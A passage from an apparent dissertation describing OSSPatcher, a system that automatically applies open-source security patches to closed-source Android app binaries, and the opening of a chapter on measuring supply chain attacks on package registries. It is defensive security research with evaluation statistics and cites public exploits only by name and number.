which is after the library loads and before library code executes, OSSPATCHER uses ptrace
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to trace the Zygote process for its forking of new processes and keeps tracking open

and mmap calls in child processes. Once vulnerable libraries are mapped in memory,

OSSPATCHER checkpoints processes using Criu [132] and injects patch libraries with

optional stub libraries into them. After injection, external references in patch libraries

point to stub libraries or original app binaries. OSSPATCHER then performs detour-based

patching to reroute vulnerable functions in app binaries to patched ones in patch libraries

and modifies external references of patch libraries to correct locations by overwriting GOT

entries. Once an app is patched, OSSPATCHER detaches from the target app and the process

runs natively with no overhead.

3.4 Implementation

OSSPATCHER is written mostly in C++ and Python, with a total of 12K C++ and 15K Python

lines of code (LOC). OSSPATCHER builds on several preexisting tools. For example, our

data collector is built on cve-search [89] for vulnerabilities and OSSPolice [1] for vulnerable

apps. All source analysis and refactoring tools are implemented as independent Clang tools

using LibTooling [133]. Variability analysis is build on top of TypeChef [123] and binary

analysis is based on Angr [128]. Patch injection uses Criu [132] internally. Here we briefly

describe the implementation of each component depicted in Figure 3.1.

3.4.1 Collector

We start by describing our data collection and preparation, including vulnerable OSS and

apps that use them.

Vulnerability Database. Numerous efforts have been conducted to discover vulnerabilities

and corresponding patches [134, 135, 17]. Out of them, NVD is an accurate collabora-

tive platform for reporting and verifying vulnerabilities manually, and has been used to

demonstrate characteristics of security patches [113]. Therefore, OSSPATCHER currently

collects vulnerabilities and patches from NVD. However, other vulnerability databases such
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as Vuddy [17] and OSSFuzz [135] can be incrementally added.

Similar to Li et al. [113], we use cve-search [89] to retrieve CVE information from

NVD and look for 40-digit commit hash values in reference links of CVEs. We scanned

all 95K CVEs at the time of crawling (Jan, 2018) and identified 5,793 CVEs with at least

one commit hash related link. Since OSSPATCHER focuses on patching applications in

userspace, we ignore system OSS such as the Linux kernel and uboot. We then clone the

remaining 619 OSS and try to checkout corresponding commits, which results in 3,047

valid commits tied to 2,723 CVEs. Out of 3,047 commits, 2,045 are from 307 C/C++ OSS

such as OpenSSL and 42 are from 22 Java OSS such as Apache Struts, implying that the

number of documented C/C++ OSS vulnerabilities with patches are much more than Java in

NVD. We denote these 307 C/C++ OSS as OSSnvd.

Compile Commands. Clang tools based on LibTooling require compile commands

to work, which specifies options such as include directories. These commands can be

extracted by adding option -DCMAKE_EXPORT_COMPILE_COMMANDS=ON to CMake [136] or

monitoring the compilation process with Bear [137]. Since building each OSS and resolving

their OSS dependencies is time-consuming, we leverage OSSFuzz which contains build

scripts for a large number of OSS and hook into its build process to get compile commands.

OSSFuzz contains 125 OSS at the time of checking (Apr, 2018), denoted as OSSfuzz. We

take the intersection of OSSnvd and OSSfuzz and get 39 OSS2 with 1,111 CVEs and 1,140

patches, denoted as OSSeval. We use OSSeval as our target OSS in evaluation.

Vulnerable Applications. Several studies have been proposed to identify vulnerable

Java and C/C++ libraries in apps [21, 1]. Since OSS reuse detection is not the focus of

OSSPATCHER, we directly contacted the authors of OSSPolice [1] for a list of flagged

vulnerable apps. The obtained list contains 100K unique Android apps tagged with vul-

nerable OSS versions, denoted as App. Since not all OSS in OSSeval is popularly used by

Android apps (e.g. wireshark), we selected 1,000 unique Android apps in total, spanning

2 Tcpdump is not listed in OSSFuzz but is still included since it is used indirectly by Wireshark which is
listed.
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10 vulnerable OSS, with 100 apps from each OSS. The 100 apps are randomly selected

from apps that use vulnerable versions with feasible patches. We denote the 1,000 apps as

Appeval and use them as target apps for evaluation.

3.4.2 Analyzer

As mentioned in §3.3.2, our feasibility analyzer contains three independent tools: range

analyzer, expression analyzer, and version analyzer. Range analyzer and version analyzer are

implemented as Clang tools and uses ASTMatcher [138] internally to match and manipulate

source code. Expression analyzer includes both frontend AST generation and backend

symbolic modeling. We implement the frontend lexer and parser in expression analyzer

based on Boost Spirit [139] and symbolically represent and solve them using CVC4 [120].

We implement variability analyzer based on TypeChef [123]. Since the current TypeChef

requires manual setup, we implement open feature analyzer and partial config analyzer as

Clang tools to allow semi-automatic setup of TypeChef on new OSS.

3.4.3 Matcher

To extract features from binaries, we first identify function addresses using IDA Pro [140].

We start with exported functions, comparing function names preserved in the binary with

ones in source files. If vulnerable functions are non-exported, then we go inside every

function and extract corresponding features. Specifically, we extract string literals, constants,

function calls and number of global variable uses within each function and compare with

sources to assist in the identification of non-exported functions. If a vulnerable function

is inlined, we currently reject the corresponding patch. However, this can be improved by

detecting and patching all functions containing the inlined function. We leave this as future

work.

In terms of source-to-binary matching algorithms, we implement function matching

ourselves and use the Z3 solver to solve configurations [141] due to its convenient Python
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interface. To facilitate variable matching, we compile vulnerable functions based on inferred

configurations, extract variables using Angr [128], and implement forward and backward

slicing for Vex IR [142].

3.4.4 Patcher

We implement patch generator as a Clang tool, which first generates stubs for hidden

references and then invokes ClangMove [131] to create patch and stub files. We also reuse

compile commands from original vulnerable files to compile patch and stub files. Since

OSSFuzz has prepared building dependencies, generating shared libraries for different

architectures is then achieved by replacing CC or CXX with compilers of targeted platforms.

For example, arm-linux-androideabi-gcc from Android NDK [74] is used to generate

patches for Android ARM system, and GCC is used for Ubuntu X64 system.

To accurately capture the time window of library loading and perform in-memory

patching, we implement patch injector as a daemon that monitors forking of the Zygote

process and tracks when its forked application processes load vulnerable libraries using

ptrace. Once they are loaded, we use Criu [132] to checkpoint corresponding processes

and perform in-memory patching. Once completed, we resume execution and detach from

these processes to avoid tracing overhead.

In addition, since address matching and patch generation may suffer from false positives

(i.e., a patch which does not perfectly replace the vulnerable code), inspired by Patch-

Droid [104], we implement a rollback mechanism. When injecting patch libraries, we also

inject enter and exit counters at the start/end of patched functions. If a patched app crashes,

we catch the crash and check whether the enter and exit counters are the same. If not, we

revert the patch and re-execute the function.
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3.5 Evaluation

In this section, we evaluate the prototype of OSSPATCHER. We start by performing fea-

sibility and variability analysis on 1,140 patches in OSSeval. We then evaluate function

matching, config inference, and variable matching algorithms on a labeled dataset. We

further apply these algorithms on 1,000 apps in Appeval. With the identified configurations

and addresses in binaries, we run our patch generator and injector to fix these applications

once the vulnerable parts are loaded. We then exercise patched apps using Monkey [143] and

show that all of them launch and run successfully with negligible memory and performance

overhead. To further verify correctness of OSSPATCHER, we collect 10 vulnerabilities with

feasible patches and publicly available exploits, including the infamous Heartbleed and

Stagefright, and show that all exploits are mitigated.

The evaluation is mainly conducted on a Nexus 5 phone running Android 5.0 (LRX21O)

and a Ubuntu 16.04 desktop with 8-core Intel Xeon CPU W3565@3.20GHz and 24GB

memory.

3.5.1 Code Analysis Statistics

We perform feasibility and variability analysis on the 39 OSS in OSSeval. The analysis

shows that 675 out of 1,140 patches are feasible. We selectively show the results for 10

OSS in Table 3.1, since they are used by apps in Appeval. Among the columns displayed

in Table 3.1, #CVEs, #Patches, and #VVs (vulnerable version) are information collected

from NVD and the table is sorted in descending order of #CVEs. At the top of the table,

FFmpeg and OpenSSL are reported to have a large number of CVEs, patches, and vulnerable

versions, showing that they are the best targets to evaluate OSSPATCHER. In contrast, Zlib

has only one vulnerable version and may not help in showing cross-version portability of

OSSPATCHER.

Feasibility Analysis. In Table 3.1, #FPs shows the number of feasible patches which is
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defined as feasible to at least one vulnerable version, #FVs shows the number of feasible

versions which is defined as being applicable by at least one patch. The two columns

show characteristics of patches and capabilities of OSSPATCHER. For example, 77% of

FFmpeg and 83% of OpenSSL patches are localized and can be automatically applied by

OSSPATCHER. Similarly, the fact that 97% of FFmpeg and 75% OpenSSL vulnerable

versions can be patched shows that their code bases are stable and vulnerable functions

rarely change across versions until they are fixed. In contrast, 12% of Curl’s vulnerable

versions can be patched, indicating that Curl has made relevant changes to vulnerable

functions across versions, which prevents OSSPATCHER from adapting patches across

versions. #VFs shows the total number of vulnerable functions across all CVEs/patches

and #EVFs shows exported (non-static) ones among them. ĞLOCFP shows average line

of change in feasible patches, ĞLOCV F shows average size of vulnerable functions3, and

Ğ#FeatsV F shows average number of unique features in vulnerable functions. From the

table, we can see that 197 functions in FFmpeg are changed across 193 feasible patches.

Similarly, 145 functions in OpenSSL are changed among 80 feasible patches. This shows

that vulnerabilities can reside in different functions across open source software. ĞLOCV F

of these two OSS are 102 and 153 respectively, implying that security vulnerabilities are

located in medium to large functions. Ğ#FeatsV F shows that such functions contains a

considerable amount of features. In addition, ĞLOCFP shows that patches are localized and

change only small parts of corresponding vulnerable functions.

Apart from overall description of patches, we also present cross version analysis and

code size analysis for OpenSSL and FFmpeg in detail. Figure 3.5a shows the cumulative

distribution function (CDF) of feasible version count and vulnerable version count. It reveals

that 80% of patches are tagged with less than 40 vulnerable versions and can be applied to

less than 15 feasible versions. To understand the capabilities of each patch, we compute the

ratio of feasible version count over vulnerable version count (FV/VV) and present its CDF

3The size of a vulnerable function is taken from the latest feasible patch that fixes the particular function.
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(a) CDF of #FV and #VV. (b) CDF of #FV/#VV ratio.

Figure 3.5: Cross version analysis for feasible patches.

in Figure 3.5b. The plot shows that 50% of patches have a higher than 35% FV/VV ratio

in both FFmpeg and OpenSSL, implying that OSSPATCHER can be adapted to one third

of vulnerable versions for half of the patches. We further inspect release dates of feasible

versions versus infeasible versions for patches and find that feasible versions are newer

ones while infeasible versions are released years before patch disclosure. This implies that

these patches are more likely to be feasible to newer versions of OSS. In addition, to better

understand changes in patches and their enclosing functions, we show the CDF of line of

change for patches and line of code for vulnerable functions in Figure 3.6. Figure 3.6a

reveals that 80% of patches changes less than 40 and 10 lines in OpenSSL and FFmpeg

respectively, validating the insight from Li et al. [113] that security patches are localized

small in size. Figure 3.6b shows that 50% of vulnerable functions have more than 90

and 70 lines of code in OpenSSL and FFmpeg respectively. The decent size of vulnerable

functions allows OSSPATCHER to collect a considerable amount of syntactical features for

source-to-binary matching. However, it also indicates that patching may incur some memory

overhead, since these functions are compiled and injected into running apps.

For infeasible patches, we also investigate them to understand potential improvements

to OSSPATCHER. As depicted in §3.3.2, feasibility analyzer analyzes change types, context
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(a) CDF of line of change in patches. (b) CDF of line of code in vulnerable functions.

Figure 3.6: Code size analysis for feasible patches.

lines, and reference compatibilities to decide feasibility of a patch. Hence, a patch may

be infeasible due to three reasons, namely, non-functional changes, context mismatches,

and incompatible references. Of the 465 infeasible patches, 27% fail due to non-functional

changes, 64% do not have matching context lines, and 9% have incompatible references

such as new classes or functions with modified signatures. Therefore, we expect that a more

comprehensive list of feasible change types and a better mechanism for formatting patches

and locating their insertion points (probably with help from OSS developers or security

researchers), similar to Coccinelle [144], can further improve the percentage of feasible

source patches.

Variability Analysis. In Table 3.1, #MIVFs refers to the number of conditional macros

used inside vulnerable functions and is collected by feasibility analyzer. #MRVFs refers

to the number of conditional macros related to vulnerable functions and is a superset

of #MIVFs. In addition to direct conditional macros, #MRVFs also considers indirect

conditional macros related to data structures or types used by vulnerable functions and

is collected by variability analyzer. As shown in Table 3.1, different OSS have very

different behaviors in terms of variability (i.e. usage of conditional directives). OpenSSL

uses 55 macros in vulnerable functions, which further expands to 82 in VAST, showing
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that OpenSSL relies heavily on conditional directives and gives users great freedom in

customization. In contrast, FFmpeg uses fewer macros in vulnerable functions and relies

less on conditional directives. We inspected FFmpeg source code, which is a large project

with many subcomponents, to understand how developers can customize the compilation

of the library. Our analysis shows that FFmpeg is a highly customizable system but uses a

configure script to allow conditional compilation at the module or folder level.

3.5.2 Matching Algorithms

To evaluate matching algorithms in Matcher when matching source code to binaries, we

construct a synthetic dataset for 6 OSS in OSSeval with different OSS variants, due to lack of

a labeled dataset. The selected 6 OSS include Curl, FFmpeg, LibPNG, Libxml2, OpenSSL,

and Wireshark. We select configurable OSS with a diverse size of code base, ranging from

small Libxml2 to large Wireshark, to allow comprehensive evaluation of our proposed

algorithms. We obtain the latest versions of them and use a configure script to build their

variants. OpenSSL contains 19 feature related options such as no-zlib and Wireshark

contains 68 such options such as –enable-dumpcap. Since enumerating all possible OSS

variants is extremely expensive (e.g. 268 for Wireshark), we therefore build a subset of their

variants as groundtruth. In particular, we start with the default configuration and specify

one feature option at a time to build these OSS (i.e. 1 + 68 for Wireshark). As a result,

we get a total of 174 different binaries for the 6 OSS with their debug information such as

symbol addresses and config options and use them as groundtruth for evaluating proposed

algorithms4.

Accuracy on Groundtruth. Vulnerable functions for the 6 OSS, as shown in Table 3.1,

are relatively large in size and contain a considerable amount of syntactical features for

matching. For vulnerable functions which are still available in latest versions, we apply our

proposed algorithms to locate them in 174 different binaries of these OSS as well as infer

4OSSPATCHER did not need nor have access to this ground truth information.
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#Apps RSA DSA ECDSA DH ECDH PSK

1942 ✓ ✓ ✓ ✓ ✓ ✗
315 ✓ ✓ ✓ ✗ ✗ ✗
83 ✓ ✗ ✗ ✓ ✓ ✗

Table 3.2: Breakdown of configurations related to function ssl3_get_key_exchange for
2,340 Apps using OpenSSL 1.0.1e.

their config options and identify addresses of their external references. By tuning matching

threshold numbers, such as ratio of matched features for function equivalence testing (e.g.

matching score greater than 0.95 means equivalence), we are able to achieve a precision of

95% at a recall of 82% in source-to-binary matching. We believe the precision and recall

are acceptable and further apply these algorithms on real-world binaries.

To further understand how OSSPATCHER can be improved, we inspect false negatives

and false positives in the matched results. As described in §3.3.4, Matcher locates vulnera-

ble functions and their function references, computes config options, and matches variable

references. The matching process can fail in each of the three steps, which results in false

negatives. For example, function matching can fail because of function inlining (no match)

or ambiguous candidates (multiple match), config inference may not be possible due to lack

of config-related features, and variable references can be non-distinguishable due to lack of

dependent features. Our inspection shows that the three steps introduce 35%, 58%, and 7%

of the false negatives respectively, implying that a richer set of features such as control-flow

features [28, 145] can help reduce false negatives in source-to-binary matching. We also

check false positives and find that they are mainly introduced by compiler optimization such

as constant folding or conditional compilation in the presence of ambiguous candidates,

which can be improved by more descriptive features as well.

Matching Real-World Applications. Although variability in source code is common as

shown in Table 3.1, it is still not clear if app developers adopt non-default setup in practice

or not. To understand what real-world apps are doing, we pick all 2,340 apps in App that

use version 1.0.1e of OpenSSL. We run matching algorithms against these apps to infer
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config options related to a vulnerable function ssl3_get_key_exchange and present the

breakdown in Table 3.2. Each column in Table 3.2 represents a feature that can be optionally

excluded using macros, such as OPENSSL_NO_RSA, and the first row which excludes only

PSK is the default. The results show that 17% of them use non-default configurations,

indicating that variability-aware analysis is an essential component in OSSPATCHER.

To further evaluate runtime performance of OSSPATCHER on different OSS, we run

matching algorithms on 1,000 apps in Appeval and save their identified addresses and configs

for further evaluation.

3.5.3 Runtime Testing

Figure 3.7: CDF of memory overhead (KB/Percentage).

With the collected addresses and configs for Appeval, we run patch generator and injector

to fix vulnerabilities in these apps right after the corresponding vulnerable libraries are

loaded. Additionally, we run monkey [143] to exercise patched apps for 10 minutes to

ensure the normal functioning of these apps. This testing period is practically long enough

based on the findings from Choudhary et al [155] that most Android automated testing tools,

including monkey, approach their maximum coverage as the testing progresses for 5 to 10

minutes. During our testing, 32% of apps invoked at least one patched vulnerable function.

In addition, we record memory and performance overhead introduced by OSSPATCHER.
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During runtime testing, all patched apps remain functional without any crashes. The memory

overhead mainly comes from patch libraries and stub libraries generated by Patcher, and

as shown in Figure 3.7, OSSPATCHER incurs less than 80KB (0.1%) memory overhead for

80% of apps. The memory overhead is low because the Zygote process consumes roughly

50MB of memory. Since all apps are forked from the Zygote, they will consume more

memory than it.

In terms of performance overhead, it can be divided into two parts: before-patching

(loading) and after-patching (runtime). Our patcher daemon is attached to the Zygote

process and tracks its forks. Once the vulnerable libraries are loaded, patcher checkpoints

the application process, performs in-memory patching, and detaches upon finishing. During

our testing, all the apps load vulnerable libraries upon start, and patcher incurs a loading

delay of less than 350 milliseconds for 80% of apps. As for runtime overhead, since apps are

patched natively using shared libraries, run with normal input (i.e. no crafted files to crash

enclosed FFmpeg libraries), and remain functional during testing, we observe almost no

delay in terms of responsiveness. Since we use detour-based patching, the runtime overhead

is only the trampoline instructions. Therefore, similar to other works (e.g. PatchDroid [104]),

we empirically conclude that the runtime overhead is negligible.

3.5.4 Exploitation and Correctness Verification

In order to verify the correctness of OSSPATCHER, it would be ideal to attack a patched

app with a previously working exploit to check whether the exploit is stopped or not. Since

apps in Appeval are closed-source and automatically generating exploits for them based on

vulnerabilities is an orthogonal direction, we verify correctness of OSSPATCHER using apps

with publicly available exploits, presented in Table 3.3. We include the infamous Heartbleed

and Stagefright as well as a recent exploit for Android Chrome (CVE-2017-15412). In

addition to vulnerability and exploit information, we also present details of vulnerable

functions in Table 3.3, to show the size of vulnerable functions and their function references

81



and variable references. We verify OSSPATCHER using 6 Android apps and 4 Linux apps, to

show the capability of OSSPATCHER in patching both Android apps and other Linux-based

apps. For collected exploits, we start by validating that they work on vulnerable versions

and are blocked in newer (fixed) versions of OSS libraries. We then run OSSPATCHER to

compile source patches into shared libraries and patch them into the vulnerable apps. Our

evaluation shows that all of these exploits are successfully stopped by OSSPATCHER. We

discuss three representative cases below.

Android Chrome. As a large open source project, Chrome reuses many other OSS as well,

such as FFmpeg, Libxml2 and WebRTC. On Android, Chrome compiles them into a giant

library, named crazy.libchrome.so, and uses a wrapper to interact with these functionali-

ties. To improve the security of Chrome, Google launches bug bounty programs to encourage

security researchers to test and submit vulnerabilities with exploits, among which we identi-

fied CVE-2017-15412 that exploits Libxml2 in Chrome using a crafted xml file [148]. We

then use OSSPATCHER to patch function xmlXPathCompOpEvalPositionalPredicate

by locating necessary addresses and inferring its compilation options. After injecting this

patch, we found the exploit to be effectively thwarted.

Stagefright. Libstagefright is one of Android’s built-in system libraries and is used by

system services as well as first-party apps, such as Hangouts, to process multimedia files.

There are several exploits available for the infamous stagefright bug, and we demonstrate

OSSPATCHER using exploit 38124 in Exploit-DB [154] which crafts a malicious mp4 file.

We use a Nexus 5 phone running Android 5.0, which is subject to this vulnerability to carry

out the experiment. Before patching, the exploit can start a reverse shell through Hang-

outs. After patching SampleTable::setSampleToChunkParams using OSSPATCHER,

the exploit is stopped.

Heartbleed. Apache web server, Httpd, uses OpenSSL for hosting websites over https.

Heartbleed vulnerability allows attackers to peek server’s memory. We setup Httpd with

1.0.1f version of OpenSSL in a docker container and turn on https. With exploit 32745, we
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are able to dump memory of web server. After patching the server daemons at runtime by

fixing function dtls1_process_heartbeat and tls1_process_heartbeat, an attacker

cannot exploit the server any longer.

3.6 Discussion

3.6.1 Patching Techniques

We demonstrate OSSPATCHER with live-patching at the start of app launching. But

OSSPATCHER can be adapted to perform hot-patching at runtime which has benefits such

as continual service. The difference between these is timing of injection and requirements

on patches. Hot-patching needs to ensure that vulnerable functions are not being executed

and patches are stateless. However, both approaches require root privilege due to the use

of ptrace and may increase attack surface if adopted by users. On the contrary, binary

rewriting doesn’t require root privilege and minimizes attack surface. While prototyping

OSSPATCHER, we could have chosen either, however, in-memory patching allows us to

safely revert the patch on exception and helps in debugging. We leave implementation of

other patching techniques and their comparison as future work.

3.6.2 Alternative Deployments

While this chapter focuses on patching Android apps, the techniques used by OSSPATCHER

can also be applied to patch vulnerabilities in userspace programs of any Linux-based

system, particularly apps on Docker Hub, of which more than 80% of official apps have been

reported to have at least one highly severe vulnerability [156, 157]. In fact, the correctness

verification of 4 Linux apps (e.g. Httpd) in Table 3.3 is performed using Docker for better

reproducibility.

OSSPATCHER is a system to help third-parties patch public vulnerabilities in applica-

tions for the sake of users, which assumes unavailability of source code. However, we argue

that OSSPATCHER can also be adapted to help app developers to push their security patches
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quickly to users.

3.6.3 Limitations

Information Authenticity. OSSPATCHER assumes that the information in NVD is accu-

rate. But this assumption may not be true. For example, CVE-2016-10156 is a vulnerability

correlated with systemd which allows privilege escalation. The description mentions that

version 228 is vulnerable and 229 fixes the problem. The CVE entry has two commit links

in the reference section. We tested the corresponding 41171 exploit in Exploit-DB for this

CVE. We found it working on version 228 through 236 and was stopped in 237, which shows

that the claim made in the description is not correct. Moreover, one of the two commits

is already included in version 228, indicating that developers may have back-ported the

commit, or the commit is not a patch. However, we argue that checking authenticity of

information is orthogonal to OSSPATCHER and can be addressed by other approaches such

as manual reviews and regression testing.

System Capability. OSSPATCHER currently classifies limited types of changes as fea-

sible and supports VAST building for only C language due to limitation of TypeChef.

However, OSSPATCHER can be extended to support other types of changes that result in

localized binary changes. For example, patch 188eb6b of LibPNG is considered infeasible

by OSSPATCHER due to its change of typedef statements. However, it can be classified

as feasible by a more complex analysis which is capable of identifying and separating

functional changes versus non-functional changes, such as version string update. Similarly,

OSSPATCHER can support C++, by rewriting TypeChef as a clang tool. In this chapter, we

avoid this engineering overhead and prioritize demonstration of practicality while prototyp-

ing OSSPATCHER. But we argue that future research can be conducted to clearly define

feasible patches and identify challenges in VAST building for C++.

Dynamic Code Coverage. During our testing, we found that many of the patches applied

to deep vulnerabilities — often beyond the reach of symbolic/dynamic analysis due to
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precise environmental requirements. Our automated dynamic analysis in §3.5 was only able

to exercise patched vulnerable functions in 32% of the tested apps. This led us to manually

verify the patches in §3.5.4 and motivated the design of our automated rollback mechanism

presented in §3.4.4. As dynamic code coverage techniques advance, we will continue to

improve the automated verification of our patches.

3.7 Related Work

Previous efforts related to OSSPATCHER can be categorized into three lines of work.

3.7.1 Automatic Patching

Researchers have proposed approaches to automatically generate patches by learning from

previous patches. For example, CodePhage [158] and CodeCarbonCopy [159] patches

buggy apps by borrowing code from fixed donor apps. Prophet [160] automatically generates

patches from successful OSS patches and assigns candidate patches with probabilistic scores.

Due to the fact that security vulnerabilities are localized and have fixed types, researchers also

proposed systems to patch binaries directly based on domain knowledge or machine learning

techniques. For example, ClearView [108] patches errors based on execution failures.

Axis [161] and AFix [162] focus on automatically fixing atomicity violations. Schulte et

al. [163, 164, 165] propose evolutionary algorithms to repair programs. GenProg [166]

and Par [167] propose genetic-programming methods for patching. BinSurgeon [168] and

AutoFix-E [169] allow users to write patches using templates or source annotations. These

works propose various ways to fix programs under the assumption that patches are not

available. We consider these works as orthogonal to OSSPATCHER which works on existing

patches.

Researchers have also proposed patching techniques under the assumption that patches

are available. For example, Ksplice [109] and Kpatch [110] performs Linux kernel live

patching based on existing kernel patches. Karma [111] performs Android kernel patching
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based on manually written lua patches. InstaGuard [106] presents a new method for applying

patches leveraging ARM debugging primitives. BISTRO [170] proposes techniques to

extract binary component and embed them into other binaries. There are also works that

focuses on patching native libraries (C/C++) or Dalvik binaries (Java) Android apps [104,

107, 103]. However, these works either assume availability of source code and config options

of compilation [109, 110, 111, 106] or assume impractical availability of binary patches [170,

104]. In contrast, OSSPATCHER assumes that apps are closed source and source patches of

OSS are available, which we believe is a practical assumption for Android apps and OSS.

Compared to patching Java libraries [107, 103] in Android apps, OSSPATCHER focuses on

patching native libraries written in C/C++, which are reported to be present in 40% of all

apps [102], and have more CVE entries as well as unique challenges.

3.7.2 N-day Vulnerability Detection

Various approaches have been proposed to identify known (n-day) vulnerabilities in binaries

at different granularities. LibScout [21] and OSSPolice [1] detect libraries and correlate

them with existing vulnerability data to identify vulnerable ones. OSSPATCHER reuses

them to identify apps with vulnerable OSS versions.

Discovre [28], Genius [145], and Gemini [171] compile vulnerable functions into

binaries and directly search for them in firmware images. Fiber [172] proposes fine-grained

patch presence test to allow more accurate bug finding. However, these approaches do

not consider OSS variants and may need to compile and search an exponential number of

binaries. To overcome this limitation, OSSPATCHER proposes variability-aware matching

algorithms to identify vulnerable functions as well as config options and reference addresses.

3.7.3 Variability-aware Code Analysis

There has been work that carry out variability-aware static analysis of large and complex

software systems, such as the Linux kernel, Busybox, etc. to detect compile time bugs,
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dead code, inconsistent configuration, etc. Undertaker [173] is a suite of tools to carry out

variability-aware static analysis of Linux kernel source code for dead code and related bugs

introduced by C preprocessor directives. Vampyr [174] is a part of the Undertaker suite that

performs variability-aware static coverage analysis of kernel drivers. KConfigReader [126]

uses Undertaker to analyze a Linux kernel variability model (kconfig files) and translate it

into a propositional formula for automated reasoning with SAT solvers. The TypeChef [123]

tool also does variability-aware static analysis of software systems to detect compile and

link time errors introduced by the C preprocessor. They introduce an AST with choice

nodes to encode variability information. These works all focus on analyzing source code for

problems related to variability.

In contrast, OSSPATCHER focuses on bridging the gap between OSS variants and their

compiled counterparts in binaries. OSSPATCHER reuses TypeChef to generate VAST and

performs source-to-binary matching for subsequent patching operations.

3.8 Summary

In this chapter, we presented OSSPATCHER, the first automated system that fixes n-day

OSS vulnerabilities in app binaries by automatically converting feasible source patches

into binaries and performing in-memory patching. We focus on fixing uses of vulnerable

OSS written in C/C++ for Android apps while prototyping OSSPATCHER. We populated

OSSPATCHER with 39 OSS and 1,000 Android vulnerable apps. Our evaluation shows

that 675 source patches are feasible and OSSPATCHER fixes vulnerabilities with negligible

memory and performance overhead. We, therefore, conclude that OSSPATCHER is a

practical system and can be deployed by vendors or end users to fix n-day vulnerabilities

without involving app developers.
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CHAPTER 4

MEASURING AND PREVENTING SUPPLY CHAIN ATTACKS ON PACKAGE

MANAGERS

4.1 Motivation

Many modern web applications rely on interpreted programming languages because of

their rich libraries and packages. Registries (also known as package managers) like PyPI,

Npm, and RubyGems provide a centralized repository that developers can search and

install add-on packages to help in development. For example, developers building a web

application can rely on Python web frameworks like Django [175], web2py [176], and

Flask [177] to provide boilerplate code for rapid development. Not only have registries

made the development process more efficient, but also they have created a large community

that collaborates and shares open-source code. Unfortunately, miscreants have found ways

to infiltrate these communities and infect benign popular packages with malicious code

that steal credentials [178], install backdoors [179], and even abuse compute resources for

cryptocurrency mining [180].

The impact of this problem is not isolated to small one-off web apps, but large websites,

enterprises, and even government organizations that rely on open-source interpreted pro-

gramming languages for different internal and external applications. Attackers can infiltrate

well-defended organization by simply subverting the software supply chain of registries.

For example, eslint-scope [178], a package with millions of weekly downloads in Npm,

was compromised to steal credentials from developers. Similarly, rest-client [179],

which has over one hundred million downloads in RubyGems, was compromised to leave

a Remote-Code-Execution (RCE) backdoor on web servers. These attacks demonstrate

how miscreants can covertly gain access to a wide-range of organizations by carrying out a
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software supply chain attack.

Security researchers [181] are aware of these attacks and have proposed several so-

lutions to address the rise of malicious software in registries. Zimmermann et al. [182]

systematically studied 609 known security issues and revealed a large attack surface in the

Npm ecosystem. BreakApp [183], on the other hand, isolates untrusted packages, which

addresses credential theft and prevents access to sensitive data, but does not stop cryptocur-

rency mining or backdoors. Additionally, many solutions [184, 185, 186] assume developers

are benign which does not apply to malware. To make matters worse, some attacks are

very sinister and use social engineering techniques [187, 188] to disguise themselves by

first publishing a “useful” package, then waiting until it is used by their target to update

it and include malicious payloads. Although, many security researchers are investigating

attacks on registries and proposing solutions, very little is done to understand the root cause

problem that makes these attacks easy to carry out.

For example, are attacks different across registries? What are the most common attacks

observed in the past? Can we apply well-known security principles to solve these problems?

Why is it difficult to analyze interpreted language packages and identify malicious intent?

These questions motivate our work to study the software supply chain attacks on registries

in depth and carry out a cross-language comparative analysis to answer our questions.

To this end, we propose a framework that highlights key functionality, security mecha-

nisms, stakeholders, and remediation techniques to comparatively analyze different registry

ecosystems. We use our framework to look at what features registries provide, what security

principles are enforced, how is trust delegated between different parties, and what remedia-

tion and contingency plans registries have in place for post-attack. We leverage our findings

to provide practical action items that registry managers can enforce using pre-existing tools

and security principles that will make it difficult for attackers to subvert the software supply

chain. We document a set of tools and techniques that we formalized into an analysis

pipeline for the community to help analyze packages and identify suspicious behavior.
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Our vetting pipeline, MALOSS, leverages, metadata, static, and dynamic analysis to

find suspicious packages in registries that can be manually verified. Initially, we assumed

vetting techniques in the Google Play Store [189] and Apple’s App Store [190] can be

reused, but we found that to be a naive assumption. One of the challenges for analyzing

interpreted language packages is that they rely on other dependencies, which can differ

by name and version making hard to pinpoint the specific malicious version. The nature

of interpreted languages allows for dynamic typing and dynamic code generation, which

cannot be accurately analyzed using static approaches. Our intention for MALOSS, is

to give researchers and registry maintainers a modular pipeline that can be extended and

support newly discovered malicious techniques.

Our comparative analysis identified common problems across the different registries

that registry maintainers can remediate using existing practical changes. For example, PyPI

and Npm can learn from RubyGems and add typo detection at the client-side to minimize

accidental errors of developers. MALOSS analyzed over one million packages from PyPI,

Npm, and RubyGems and identified 7 malicious packages in PyPI, 41 malicious packages

in Npm, and 291 malicious packages in RubyGems. We reported these packages to registry

maintainers and had 278 of them removed, over 82%. Three of the reported malicious

packages had over 100K installs and they were assigned an official CVE number. We dive

deep into a couple of packages to demonstrate the sophistication of these malicious packages

and present their infection vectors, capabilities, and persistence. Lastly, we perform a

passive-DNS measurement analysis to show how widely spread the infections are.

4.2 An Overview of Registry Abuse

We present a selected list of supply chain attacks in Figure 4.1, spanning across different

types of registries (e.g. interpreted languages, system-wide). In 2016, Tschacher [181]

demonstrated a proof-of-concept attack against package managers. The attack used ty-

posquatting, which is a technique that misspells the name of a popular package and waits
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Figure 4.2: The number of malware and their downloads aggregated by year of uploading as
of August 2019.

for users installing the popular package to typo the name (hence typosquatting) resulting

in the installation of the malicious package instead. As of August 2019, there were more

than 300 malicious packages reported and removed in different registries (PyPI, Npm,

RubyGems, etc.). In Figure 4.2, we aggregate the number of malicious packages uploaded

into registries and their corresponding download counts. We note that these counts are

documented/detected attacks, which is a subset of all the attacks (known and unknown).

Figure 4.2 shows that in 2018 alone there were more than 100 malicious packages that had

more than a cumulative 600 million downloads.

Typosquatting is just one type of attack, a more recent report by Snyk [191], a vulner-

ability analysis platform, classified three types of attacks, namely typosquatting, account

hijacking, and social engineering. Hijacking is account compromise through credential

theft and social engineering is a deceptive tactic to trick owners of package repositories

to transfer ownership. The report highlights that typosquatting is the most common attack

tactic because most registries do not enforce any security policies as shown by Loden [192].

Account hijacking takes place because of weak credentials that attackers can guess and

social engineering attacks exploit the collaborative nature of open-source projects as seen

in many attacks [187, 193, 188]. Unfortunately, the focus of the community has been

on finding bugs in package code through platforms like Synode [184], NodeCure [185],

and ReDoS [186]. Recent efforts by BreakApp [183] use runtime isolation of untrusted
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packages, but suffers from practicality and cannot deal with cryptojacking attacks. Registry

maintainers are aware of these issues and have taken initiative to implement some security

enhancements such as package signing [194] and two-factor authentication [195]. Despite

these commendable efforts, Figure 4.2 shows the number of malicious packages in registries

